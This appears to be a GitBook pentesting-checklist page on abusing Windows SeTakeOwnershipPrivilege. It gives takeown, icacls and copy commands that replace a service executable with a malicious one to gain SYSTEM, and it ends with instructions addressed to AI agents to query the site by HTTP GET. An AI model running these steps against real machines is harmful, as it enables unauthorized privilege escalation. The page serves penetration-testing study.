# SeTakeOwnership

### Overview

**SeTakeOwnershipPrivilege** allows a user to **take ownership of objects** (files, folders, registry keys, services, etc.) **regardless of existing permissions**.

If a low-privileged user has this privilege, they can:

1. **Take ownership** of a protected object
2. **Modify its ACLs**
3. **Gain full control**
4. **Abuse the object to execute code as SYSTEM**

### Why this Works

Windows access control works in two phases:

1. **Ownership check**
2. **ACL (permissions) check**

The **owner** of an object is allowed to:

* Change permissions (DACL)
* Grant themselves full control

### Prerequisites

1. Prerequisites
2. SeTakeOwnershipPrivilege Enabled
3. A Privileged Object to Target

### Steps

1. Take Ownership:

   ```bash
   takeown /f "C:\Program Files\VulnService\service.exe"
   ```
2. Grant full control:

   ```bash
   icacls "C:\Program Files\VulnService\service.exe" /grant Users:F
   ```
3. Replace executable:

   ```bash
   copy malicious.exe "C:\Program Files\VulnService\service.exe" /Y
   ```
4. Restart the service


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gokulkarthik.gitbook.io/pentesting-checklist/windows-and-active-directory/windows-privilege-escalation/group-privileges/setakeownership.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.